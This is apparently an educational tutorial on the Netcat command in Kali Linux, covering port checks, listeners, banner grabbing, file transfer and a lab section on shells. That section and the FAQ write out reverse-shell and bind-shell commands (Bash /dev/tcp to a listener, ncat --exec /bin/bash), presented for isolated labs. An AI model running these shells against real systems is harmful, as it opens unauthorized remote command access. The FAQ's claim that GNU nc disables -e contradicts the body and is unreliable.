GO KALI FREE
BeginnerTools

How to Use Netcat: Beginner's Guide to the nc Command in Kali Linux

How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.

#how to use netcat#what is netcat#netcat tutorial#netcat commands#netcat cheat sheet#netcat kali linux#nc command

What Is Netcat?

Netcat (nc) is a command-line tool for opening raw TCP or UDP connections. You use it in client mode to connect to a host and port, or in listener mode to accept an incoming connection, then type, pipe, send, or receive data through that connection.

When you need a raw network connection—to send data, listen for incoming connections, transfer files, or check ports—without extra protocol overhead, Netcat is the Swiss Army Knife of Networking.

Netcat connects standard input and standard output to a network socket. Text typed into one side travels across the connection, while received data appears on the other side. That simple pipe model makes Netcat useful for troubleshooting, manual protocol requests, banner grabbing, basic file transfers, and controlled security labs.

The listener-and-client mental model

Almost every Netcat task uses one of two modes:

  • Listener mode: Netcat waits on a local port for an incoming connection.
  • Client mode: Netcat initiates a connection to a host and port.
  • A listener and client can exchange data in both directions. You can type interactively or use shell redirection and pipelines to move data through the connection.

    Netcat is not a full network scanner. Its zero-I/O mode can perform basic connection checks, but it lacks the discovery, service detection, reporting, and scan controls available in Nmap. Standard Netcat is also not encrypted or authenticated. Unless you add a secure tunnel or use Ncat with TLS, anyone positioned along the path can read or modify the traffic.

    Prerequisites

    You should be comfortable with:

  • Basic TCP/IP concepts, including hosts, ports, TCP, and UDP.
  • Linux command-line navigation, redirection, and pipelines.
  • The client-server model and the difference between incoming and outgoing connections.
  • Opening two terminal windows for listener-and-client exercises.
  • Run scanning, listening, and shell examples only on systems you own or have explicit permission to test.

    How to Use Netcat in 6 Steps

    The following workflow shows how to use Netcat for the tasks you will encounter most often. Check your implementation before copying flags because OpenBSD Netcat, traditional Netcat, and Ncat do not have identical syntax.

  • Check which nc you have. Read the local help before using a command from a tutorial. Look for clues such as -N, -e, --ssl, or the required placement of -p.
  • ```bash

    nc -h

    ```

  • Test a TCP port. The -z option checks whether a connection can be established without starting an interactive data session, while -v displays the result and -w limits the wait.
  • ```bash

    nc -vz -w 3 example.com 443

    ```

  • Start a listener. On OpenBSD Netcat, place the listener port at the end. Binding to 127.0.0.1 keeps this first experiment on the local machine.
  • ```bash

    nc -lv 127.0.0.1 9000

    ```

  • Grab a service banner. Connect normally and wait for a server-first protocol such as SSH to identify itself. Use only services you administer or are authorized to examine.
  • ```bash

    nc -v -w 3 db.internal.example 22

    ```

  • Move a file. Start the receiver before the sender. The OpenBSD -N option shuts down the sender's network write side after reaching the end of the input file.
  • ```bash

    # Receiver, first terminal

    nc -l 127.0.0.1 9000 > received.txt

    # Sender, second terminal

    nc -N 127.0.0.1 9000 < source.txt

    ```

  • Close down cleanly. Let input reach EOF and use -N on an OpenBSD sender so the receiver can detect completion. Press Ctrl-C to stop any listener that remains active.
  • ```bash

    printf 'done\n' | nc -N 127.0.0.1 9000

    ```

    Which Netcat Do You Have?

    The name “Netcat” commonly refers to three related programs. OpenBSD Netcat and traditional Netcat are normally invoked as nc; Ncat is usually invoked as ncat, although packages or aliases can expose it under another name.

    VariantDefault onHow to tell from help outputKey flag differences
    OpenBSD NetcatDebian, Ubuntu, Kali Linux, and macOSnc -h lists options such as -z and -N, but not -eListener syntax is normally nc -l 9000; -N shuts down after stdin reaches EOF; -p is a source-port option rather than the traditional listener-port form
    GNU/traditional NetcatSome older Linux installations; available as an optional package on Debian-family systemsHelp commonly lists -e and shows a listener using -l -p; some builds do not support -zListener syntax commonly requires nc -l -p 9000; -e may execute a program; -N is generally unavailable
    Ncat from NmapWindows installations of Nmap and systems with the nmap-ncat packagencat --help lists long options such as --ssl, --exec, --sh-exec, --allow, and --denySupports TLS, access controls, connection brokering, and command execution; use the ncat command unless an alias has been configured

    Flags that work in one implementation may fail or mean something different in another. Always run nc -h first, and run ncat --help when using Ncat.

    If nc -l 9000 fails on a traditional implementation, try nc -l -p 9000. If a copied command uses -e but your help does not list it, you probably have OpenBSD Netcat.

    Installation

    Kali Linux

    Netcat is normally pre-installed on Kali Linux. Confirm that the command and local help are available:

    command -v nc && nc -h
    

    Debian and Ubuntu

    Install the OpenBSD implementation explicitly:

    sudo apt update && sudo apt install netcat-openbsd
    

    RHEL and Fedora

    The nmap-ncat package provides Ncat:

    sudo dnf install nmap-ncat
    

    macOS

    macOS includes an OpenBSD-derived nc. Check its locally supported options before following Linux-specific examples:

    nc -h
    

    Windows

    Install Nmap with its Ncat component, then open PowerShell or Command Prompt and verify the executable:

    ncat --help
    

    Netcat Syntax and Core Flags

    Client mode initiates a connection:

    nc [options] host port
    

    Listener mode waits for a connection:

    nc -l [options] port
    

    Traditional Netcat commonly uses a different listener form:

    nc -l -p 9000
    

    The following options cover the majority of practical Netcat work.

    FlagMeaning
    -lListen for an incoming connection instead of initiating one
    -vEnable verbose status messages; repeat it on implementations that support additional verbosity
    -nDisable DNS and service-name lookups; use numeric addresses and ports
    -pSelect a local source port on OpenBSD-style clients; traditional Netcat uses it to specify the listener port
    -zUse zero-I/O mode for connection and port checks; some traditional builds do not provide it
    -uUse UDP instead of the default TCP transport
    -w secondsLimit connection or network-read waiting time, depending on the implementation
    -NOpenBSD Netcat: shut down the network socket after stdin reaches EOF
    -q secondsOn supported Linux builds, wait this many seconds after stdin reaches EOF and then quit
    -e commandTraditional Netcat and Ncat only: execute a program after connecting; absent from OpenBSD Netcat
    --sslNcat only: establish a TLS-protected connection
    --exec commandNcat only: execute a program with its input and output attached to the connection

    Options can often be combined, so -lvn means listen, display verbose messages, and disable name resolution. Combining flags does not make incompatible syntax portable: nc -lvnp 4444, for example, is common traditional-Netcat syntax but can fail with OpenBSD Netcat.

    Command-execution options create serious exposure when used on a reachable listener. Use them only inside isolated labs that you control.

    Worked Example: Test a Port, Start a Listener, Move a File

    Lab exercise: Everything in this section stays on 127.0.0.1. Open two terminals in the same working directory and use OpenBSD Netcat syntax.

    1. Confirm that port 9000 is closed

    With no listener running, test the port from the first terminal:

    nc -vz -w 2 127.0.0.1 9000
    

    A closed local TCP port should reject the connection:

    nc: connect to 127.0.0.1 port 9000 (tcp) failed: Connection refused
    

    (illustrative output)

    A refusal is useful information: the local network stack responded, but no process accepted the connection on port 9000.

    2. Start the listener

    In Terminal A, bind the listener specifically to the loopback address:

    nc -lv 127.0.0.1 9000
    

    The command waits because listening is its job. Leave it running and move to Terminal B.

    3. Connect and exchange a line in both directions

    In Terminal B, connect to the listener. The -N option will later propagate stdin EOF to the network socket.

    nc -v -N 127.0.0.1 9000
    

    The client should report a successful TCP connection:

    Connection to 127.0.0.1 9000 port [tcp/*] succeeded!
    

    (illustrative output)

    In Terminal B, type hello from client and press Enter. Terminal A receives:

    hello from client
    

    (illustrative output)

    Now type hello from listener in Terminal A and press Enter. Terminal B receives:

    hello from listener
    

    (illustrative output)

    This demonstrates the pipe model: each terminal's input is sent to the other side, and incoming bytes are written to its output. Press Ctrl-D in Terminal B. Because the client uses -N, Netcat shuts down its network write side after stdin reaches EOF, allowing the one-shot listener to finish.

    4. Create and hash a small source file

    In Terminal B, create a predictable file and calculate its SHA-256 digest:

    printf 'hello\n' > source.txt
    sha256sum source.txt
    
    5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03  source.txt
    

    (illustrative output)

    The digest gives you a value to compare after the transfer.

    5. Start the file receiver

    In Terminal A, start a fresh listener and redirect received data into a new file:

    nc -l 127.0.0.1 9000 > received.txt
    

    The receiver must be running before the sender connects. Because standard output is redirected, the transferred bytes go into received.txt rather than appearing in the terminal.

    6. Send the file

    In Terminal B, connect and redirect the source file into Netcat:

    nc -N 127.0.0.1 9000 < source.txt
    

    When Netcat reaches the end of source.txt, -N shuts down the connection. Terminal A sees EOF, exits, and closes received.txt.

    7. Verify the received file

    In Terminal A, calculate the digest of the received file:

    sha256sum received.txt
    
    5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03  received.txt
    

    (illustrative output)

    The two SHA-256 digests match, so the received bytes are identical to the source bytes.

    Finally, confirm that the one-shot listener has closed:

    nc -vz -w 2 127.0.0.1 9000
    
    nc: connect to 127.0.0.1 port 9000 (tcp) failed: Connection refused
    

    (illustrative output)

    This exercise covered the complete pattern: check a port, listen, connect, exchange data, transfer a file, verify it, and close the connection.

    Port Scanning with Netcat

    Use port checks only against systems you own or have explicit permission to test. Netcat can answer basic connectivity questions, but use Nmap when you need real host discovery, service detection, rate controls, or structured scan results.

    Test one TCP port

    The following command attempts a TCP connection without entering an interactive session:

    nc -nvz -w 3 192.168.1.100 22
    

    -n avoids reverse DNS, -v displays the result, -z enables zero-I/O mode, and -w 3 limits the wait.

    Scan a port range

    OpenBSD Netcat accepts a hyphenated range:

    nc -nvz -w 2 192.168.1.100 20-25
    

    Netcat attempts each port in the range. This is convenient for a small check but lacks Nmap's scan engines and reporting.

    Check noncontiguous ports

    Use a shell loop when the ports do not form one range:

    for port in 22 80 443 9000; do
        nc -nvz -w 2 192.168.1.100 "$port"
    done
    

    Display only successful checks

    OpenBSD Netcat writes verbose connection messages to standard error, not standard output. Redirect standard error before piping to grep:

    nc -nvz -w 2 192.168.1.100 1-1024 2>&1 | grep succeeded
    

    Without 2>&1, grep may receive nothing even though status messages are visible in the terminal.

    Understand the three common outcomes

  • Succeeded: The TCP handshake completed. Something accepted the connection, but this does not prove that the application is healthy or that it is the service you expected.
  • Connection refused: The host or an inline device actively returned a TCP reset. The destination is reachable and usually up, but nothing is listening on that port, or a firewall is configured to reject connections with a reset.
  • Timeout or apparent hang: No useful response arrived before the timeout. The host may be down, the route may be broken, or packets may be silently discarded. Silent timeout is the classic behavior of a firewall using DROP rather than REJECT.
  • Banner Grabbing and Manual Protocol Requests

    Banner grabbing lets you observe what a service reports before using a specialized client. Perform it only during authorized administration or testing, and remember that banners can be hidden, changed, or misleading.

    Read an SSH banner

    SSH sends an identification line shortly after a TCP connection is established:

    nc -v -w 3 db.internal.example 22
    

    A returned line beginning with the SSH protocol identifier confirms that an SSH-speaking service answered. It may also expose implementation details useful for inventory and version checks.

    Send an HTTP request manually

    HTTP requires correctly terminated lines. Use printf, not echo, because echo implementations handle escape sequences and trailing newlines inconsistently.

    printf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -w 3 example.com 80
    

    The first \r\n terminates the request line, the second terminates the Host header, and the final empty line ends the header section. A HEAD request asks for response headers without requesting a response body.

    Read an SMTP greeting

    SMTP servers normally send a greeting immediately after accepting a connection:

    nc -v -w 3 db.internal.example 25
    

    This can confirm that the port speaks SMTP and may reveal self-reported server information. During an authorized version review, compare a banner with configuration records and other evidence rather than treating it as definitive proof.

    File Transfer with Netcat

    Use this technique only between systems you control on a trusted network. Plain Netcat provides neither encryption nor authentication.

    Start the receiver first

    On the receiving host, listen on a port and redirect standard output into the destination file:

    nc -l 9000 > received-file.bin
    

    A traditional Netcat receiver may require:

    nc -l -p 9000 > received-file.bin
    

    The command waits until a sender connects. If the sender runs before the listener, the connection will normally be refused and no transfer will occur.

    Send the file second

    From the sending host, connect to the receiver and redirect the source file into Netcat:

    nc -N 192.168.1.100 9000 < file.bin
    

    On OpenBSD Netcat, -N is important because it shuts down the socket after the input file reaches EOF. That EOF tells the receiver that the transfer is complete and allows it to exit.

    A traditional Linux build may use -q 0 instead:

    nc -q 0 192.168.1.100 9000 < file.bin
    

    Check nc -h before choosing either form.

    Verify both copies

    Calculate the source digest on the sender:

    sha256sum file.bin
    

    Calculate the destination digest on the receiver:

    sha256sum received-file.bin
    

    The two digests must match exactly. A successful TCP connection alone does not prove that the correct file was selected or that your redirection was correct.

    Netcat does not encrypt the transferred bytes, verify the other host's identity, or require credentials. Anyone who can observe the path can read the file, and anyone who can reach the open listener may connect first and inject data. Prefer SCP, SFTP, or rsync over SSH when a transfer leaves a trusted lab network.

    UDP with Netcat

    Add -u to use UDP instead of TCP. Probe only services you are authorized to test.

    A basic UDP check against a DNS port looks like this:

    nc -zvu -w 3 dns.example.com 53
    

    The result must be interpreted differently from a TCP result. UDP has no handshake, so Netcat cannot observe a completed connection. When nc -zvu reports that a UDP check “succeeded,” it usually means only that no ICMP port-unreachable response came back before the timeout.

    That creates an important ambiguity:

  • An open UDP port may send no response because the probe contains no valid application data.
  • A firewall may silently drop the probe or its response.
  • ICMP errors may be filtered or rate-limited.
  • A silently filtered UDP port can therefore look exactly like an open one.
  • Confirm the result with a valid application-layer request. For DNS, use dig:

    dig @dns.example.com example.com
    

    A valid DNS response provides much stronger evidence than a zero-I/O UDP result. Even then, check the response status and returned data rather than relying only on whether the command ended.

    Netcat as a Two-Way Chat

    A local chat is the clearest demonstration that Netcat is a bidirectional pipe. Keep the exercise on 127.0.0.1 or an isolated lab network.

    In Terminal A, start an OpenBSD Netcat listener:

    nc -lv 127.0.0.1 9000
    

    In Terminal B, connect as the client:

    nc -v -N 127.0.0.1 9000
    

    Anything typed in Terminal B appears in Terminal A, and anything typed in Terminal A appears in Terminal B. Netcat does not add usernames, message boundaries, encryption, or chat commands; it simply copies bytes between terminal input and the socket.

    With traditional Netcat, the listener port normally follows -p:

    nc -l -p 9000
    

    Press Ctrl-D to signal stdin EOF. With OpenBSD Netcat, -N causes that EOF to shut down the network write side so the peer can finish. Press Ctrl-C when you need to stop a client or listener immediately.

    Reverse Shells and Bind Shells in the Lab

    Use shell examples only between your own isolated virtual machines. Never expose an unauthenticated shell listener to a production or public network.

    A reverse shell starts with a listener on the controlling machine. The target then creates an outgoing connection back to that listener. The commonly copied listener below uses traditional Netcat syntax:

    nc -lvnp 4444
    

    If you have OpenBSD Netcat, omit -p and place the port at the end:

    nc -lvn 4444
    

    Assuming the listener belongs to 10.0.0.5, the target lab VM can use Bash's /dev/tcp feature:

    bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
    

    The target initiates the TCP connection. Bash then redirects the interactive shell's input, output, and error streams through that socket. This is a basic stream connection rather than a full terminal, and it has no built-in encryption or authentication.

    A bind shell reverses the direction. The target listens on a port, and the controlling machine connects inbound. For example, an isolated Ncat lab can restrict the source address while attaching Bash:

    ncat -l 4444 --exec /bin/bash --allow 10.0.0.5
    

    The controlling VM then connects to the target lab VM:

    ncat 192.168.1.100 4444
    

    Reverse shells often work more easily than bind shells when the target is behind NAT or an inbound firewall because the target initiates an outgoing connection. They are not guaranteed to work: egress filtering, proxies, segmentation, and monitoring can block or detect the connection.

    OpenBSD Netcat has no -e option by design. Ncat provides --exec and --sh-exec, while traditional Netcat may provide -e; all of these options can expose a command interpreter and require strict lab isolation.

    See the Reverse Shell Guide for the full listener-and-payload workflow.

    Netcat vs Nmap vs Socat vs Ncat

    ToolBest forWeakness
    Netcat (nc)Quick TCP or UDP connections, small port checks, manual protocol requests, chat, and trusted-network transfersVariant-dependent flags, no native encryption or authentication, limited scanning features
    NmapReal port scanning, host discovery, service detection, scan control, and structured resultsMore overhead than Netcat for a single raw connection or interactive text exchange
    SocatComplex relays, multiple address types, TLS, UNIX sockets, serial connections, and pseudo-terminal handlingDense syntax and a larger number of options to understand
    Ncat (ncat)Netcat-style connections with TLS, access controls, proxies, brokering, and controlled execution optionsMay not be installed by default, and secure TLS identity verification still requires correct configuration

    Reach for plain Netcat when you need to answer a small question quickly: “Can I connect to this port?” or “What bytes does this service return?” Use Nmap for real network scanning rather than building large Netcat loops.

    Use Socat when you need advanced relays, pseudo-terminals, multiple socket types, or precise stream handling. Use Ncat when you need Netcat-like behavior with features such as --ssl, --allow, or --deny.

    For transfers that leave a trusted network, use SCP or rsync over SSH instead of plain Netcat. If a Netcat-style workflow specifically requires TLS, Ncat with --ssl can encrypt the connection, but certificate verification and peer identity still need to be configured correctly.

    Troubleshooting Netcat Problems

    ProblemLikely causeFix
    nc -l 9000 errors, or -z is not recognizedThe command was written for a different Netcat variantRun nc -h. Traditional Netcat commonly needs nc -l -p 9000; if its build lacks -z, install OpenBSD Netcat or Ncat, or perform individual timed connections without -z
    One attempt says Connection refused, while another hangsThese are different network outcomes: refusal is an active reset, while a hang means no useful response arrivedCheck whether a service is listening, then inspect routing and firewall rules. Add -w 3 so silent drops do not wait indefinitely
    UDP reports success, but the service does not workUDP has no handshake, and no ICMP rejection was receivedSend a valid protocol request, such as dig @dns.example.com example.com, and inspect the application response
    -e does not existOpenBSD Netcat deliberately omits command executionAvoid execution options when possible. In an isolated lab, Ncat provides --exec; do not expose it to untrusted networks
    The listener will not release the port or reports Address already in useAnother process may still be listening, or a recent connection may remain in a socket state such as TIME_WAITRun ss -ltnp to find a listener and ss -tan state time-wait to inspect waiting sockets; stop the owning process, wait, or use another port
    A file transfer hangs after all bytes appear to arriveThe sender reached stdin EOF but did not shut down the network socketUse -N on an OpenBSD sender or a supported option such as -q 0 on a traditional build
    No output appears at all-v was omitted, or verbose diagnostics went to standard errorAdd -v; when piping status messages, use 2>&1 before the next command
    A hostname fails immediately when -n is enabled-n disables name resolutionRemove -n when using a hostname, or replace the hostname with an authorized numeric address

    Common Mistakes

  • Forgetting -v and then assuming a silent zero-I/O check did nothing.
  • Forgetting -w and allowing a filtered connection attempt to wait much longer than intended.
  • Assuming -e exists even though OpenBSD Netcat intentionally omits it.
  • Trusting a UDP “succeeded” message as proof that an application is listening.
  • Copying flags between OpenBSD Netcat, traditional Netcat, and Ncat without checking local help.
  • Sending a file before the receiver starts listening.
  • Using plain Netcat to carry passwords, private files, or other sensitive data.
  • Best Practices

  • Always run nc -h or ncat --help before adapting a command.
  • Use -w timeouts for connection checks, scripts, and protocol experiments.
  • Verify file transfers with SHA-256 hashes on both systems.
  • Prefer Ncat with --ssl when a Netcat-style connection crosses an untrusted network, and configure identity verification where required.
  • Test commands on 127.0.0.1 before moving them into a multi-host lab.
  • Keep listeners short-lived, restrict their reachability, and run them only on lab or trusted networks.
  • Netcat Commands Cheat Sheet

    These commands assume authorized targets. Check your Netcat variant before using listener, EOF, or execution-related options.

    TaskCommand
    Show help and identify the variantnc -h
    Test a TCP portnc -vz -w 3 example.com 443
    Test a numeric TCP target without DNSnc -nvz -w 3 192.168.1.100 22
    Test an internal service portnc -vz -w 3 db.internal.example 5432
    Test a UDP portnc -zvu -w 3 dns.example.com 53
    Scan a small TCP rangenc -z -w 2 192.168.1.100 20-25
    Run a verbose range scannc -nvz -w 2 192.168.1.100 20-25
    Check several noncontiguous portsfor port in 22 80 443 9000; do nc -nvz -w 2 192.168.1.100 "$port"; done
    Display successful range resultsnc -nvz -w 2 192.168.1.100 1-1024 2>&1 | grep succeeded
    Start an OpenBSD listenernc -lv 9000
    Start a listener bound to loopbacknc -lv 127.0.0.1 9000
    Start a traditional Netcat listenernc -l -v -p 9000
    Start an Ncat listenerncat -lv 9000
    Keep an OpenBSD listener accepting connectionsnc -lvk 9000
    Connect for a two-way chatnc -v -N 127.0.0.1 9000
    Send one line and close after EOFprintf 'hello\n' | nc -N 127.0.0.1 9000
    Quit an OpenBSD sender after input EOFnc -N 192.168.1.100 9000 < file.bin
    Quit a supported traditional build after EOFnc -q 0 192.168.1.100 9000 < file.bin
    Grab an SSH bannernc -v -w 3 db.internal.example 22
    Send an HTTP HEAD requestprintf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -w 3 example.com 80
    Check an SMTP greetingnc -v -w 3 db.internal.example 25
    Receive a filenc -l 9000 > received-file.bin
    Send a file with OpenBSD Netcatnc -N 192.168.1.100 9000 < file.bin
    Hash the source filesha256sum file.bin
    Hash the received filesha256sum received-file.bin
    Scan with a short timeoutnc -nvz -w 1 192.168.1.100 9000
    Check an IPv6 TCP connectionnc -6 -vz -w 3 example.com 443
    Open a TLS connection with Ncatncat --ssl example.com 443
    Confirm a DNS service with a real querydig @dns.example.com example.com
    Save verbose diagnosticsnc -vz -w 3 example.com 443 2> nc-status.txt

    Keep Learning

  • Reverse Shell Guide
  • Nmap Beginner Tutorial
  • Network Scanning with Nmap
  • Ports and Protocols
  • Linux Networking Basics
  • Netcat
  • Socat
  • Nmap
  • Summary

    Netcat is a lightweight tool for creating raw TCP and UDP connections in either client or listener mode. Use it for quick port checks, banner grabbing, manual protocol requests, two-way chats, and small transfers inside trusted labs. Always identify your implementation first because OpenBSD Netcat, traditional Netcat, and Ncat use different flags and listener syntax. Apply timeouts, verify transferred files with hashes, and remember that plain Netcat provides no encryption or authentication. Use Nmap for serious scanning and SCP or rsync for sensitive file transfers. Continue learning with the Reverse Shell Guide.

    Knowledge Check

  • What does the -l option tell Netcat to do?
  • Which option enables a zero-I/O port check instead of an interactive data session?
  • What is the main connection-direction difference between a reverse shell and a bind shell?
  • Why does nc -e fail on a default OpenBSD Netcat installation?
  • What important capability does Ncat add for connections crossing an untrusted network?
  • What is the difference between Connection refused and a timeout?
  • Why is a successful-looking UDP zero-I/O result inconclusive?
  • How should you verify that a Netcat file transfer produced an identical copy?
  • Answers: 1. -l places Netcat in listener mode; 2. -z enables zero-I/O connection checks; 3. A reverse shell connects outward from the target, while a bind shell listens on the target for an inbound connection; 4. OpenBSD Netcat omits -e by design; 5. Ncat supports TLS through --ssl, along with access controls and other features; 6. Refusal means an active TCP reset was returned, while a timeout means no useful response arrived; 7. UDP has no handshake, so success may mean only that no ICMP rejection was received; 8. Calculate SHA-256 hashes on both files and confirm that the digests match.

    Frequently Asked Questions

    What is Netcat used for?

    Netcat is a versatile networking tool for port scanning, banner grabbing, file transfers, and creating reverse or bind shells. It reads and writes raw TCP/UDP connections, making it invaluable for network debugging and penetration testing.

    What does the -l flag do in Netcat?

    The -l flag puts Netcat into listen mode, where it waits for incoming connections on a specified port. Combined with -p and -n, it creates a listener like nc -lvnp 4444 for receiving files or catching reverse shells.

    How do you scan ports with Netcat?

    Use nc -zv target_ip port to scan a single port or nc -zv target_ip start-end for a range. The -z flag sends zero bytes (no data), and -v provides verbose output showing open/closed status.

    What is the difference between reverse and bind shells?

    In a bind shell, the target opens a port you connect to. In a reverse shell, the target connects back to your listener, which bypasses firewalls and NAT that block inbound connections. Reverse shells are preferred in modern networks.

    Why might the -e flag not work in Netcat?

    Many modern Netcat implementations (like the original GNU nc) disable -e for security reasons, as it executes a program upon connection. Use Ncat (ncat -e /bin/bash) or bash redirections like bash -i >& /dev/tcp/LHOST/4444 0>&1 instead.

    What advantage does Ncat offer over traditional Netcat?

    Ncat (from Nmap) adds SSL/TLS encryption, access control via --allow/--deny, proxy support, and chat capabilities. Use ncat --ssl for encrypted connections or ncat -e for command execution.

    How do you transfer files with Netcat?

    On the receiver, run nc -lvnp 4444 > output_file. On the sender, run nc target_ip 4444 < input_file. The data streams directly over the TCP connection without encryption, so use SSH or Ncat --ssl for sensitive transfers.

    What does the -w flag do in Netcat?

    The -w flag sets a timeout in seconds for idle connections. For example, nc -w 3 target 80 closes the connection after 3 seconds of inactivity, preventing hung sessions during banner grabbing or scanning.

    How do you grab banners with Netcat?

    Connect to a service and let it send its identification banner: nc -v target_ip 22 will display the SSH banner. For HTTP, send a request first: echo -e 'HEAD / HTTP/1.1\r\nHost: target\r\n\r\n' | nc target_ip 80.

    What is the difference between nc, ncat, and socat?

    nc is the original Netcat with limited features. ncat (from Nmap) adds SSL, access control, and relay mode. socat is a more advanced tool supporting bidirectional data streams, UNIX sockets, and SSL natively.

    How do I use Netcat to test if a port is open?

    Run nc -zv host port — for example nc -zv example.com 443. The -z flag scans without sending data and -v prints the result. "Succeeded" means the port is open; "Connection refused" means the host is reachable but nothing is listening; a hang or timeout usually means a firewall is silently dropping your packets. Add -w 3 so a filtered port fails fast instead of hanging.

    What does Netcat stand for?

    Netcat does not stand for an acronym — the name is short for "network cat", after the Unix cat command. Just as cat reads files and writes them to standard output, Netcat reads and writes data across network connections. The command is usually typed as nc.

    Is Netcat legal to use?

    Yes, on systems you own or have explicit written permission to test — that is exactly what network administrators and penetration testers use it for. Using Netcat to probe, connect to, or transfer data from systems you do not own or have no permission to test is illegal under computer-misuse laws such as India's Information Technology Act, 2000. Practice in your own lab or on virtual machines.

    Why does Netcat say "Connection refused"?

    "Connection refused" means your packets reached the host and the host actively rejected the connection — nothing is listening on that port, or a firewall sent a reset. That is different from a timeout: a timeout means your packets were silently dropped, which is the classic signature of a firewall DROP rule. Refused is a network answer; a timeout is the absence of one.

    Should I use Netcat or Nmap for port scanning?

    Use Netcat for a quick check of one port or a small range on a host you already manage — nc -zv host 22 answers in a second. Use Nmap for real scanning: it handles large ranges properly, detects services and versions, and distinguishes open, closed, and filtered states honestly. Netcat is a diagnostic you reach for first; Nmap is the scanner you reach for next.

    Continue Learning

    Tools · Intermediate

    SQLMap Commands: Cheat Sheet & How to Use SQLMap in Kali Linux

    Every SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.

    Tools · Beginner

    How to Use Dirb: Beginner's Guide to Directory Brute-Forcing in Kali Linux

    Learn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.

    Tools · Beginner

    How to Use Tcpdump: Beginner's Guide to Packet Capture in Kali Linux

    Learn how to use tcpdump in Kali Linux — capture packets, filter with BPF, save pcap files and read output, with a worked example and cheat sheet.

    Tools · Beginner

    How to Use FFUF: Beginner's Guide to Fast Web Fuzzing in Kali Linux

    Learn how to use FFUF in Kali Linux — directory, subdomain and vhost fuzzing, parameter testing, filters and a worked DVWA example, with a cheat sheet.

    Related Security Tools

    Sniffing & Spoofing

    Netcat

    Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.

    Information Gathering

    Nmap

    Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.

    Sniffing & Spoofing

    tcpdump

    tcpdump is a powerful, lightweight command-line packet analyzer that allows users to capture, parse, and filter TCP/IP and other packets transmitted or received over a network.

    Wireless Attacks

    Wifite

    Learn how to use Wifite in Kali Linux with this beginner tutorial: check your WiFi adapter, install Wifite, run your first authorized WiFi audit, capture WPA handshakes and PMKIDs, and crack them with a wordlist. Includes Wifite commands, a worked example, troubleshooting for common errors, and how Wifite compares with Aircrack-ng.

    Written by GO KALI FREE Team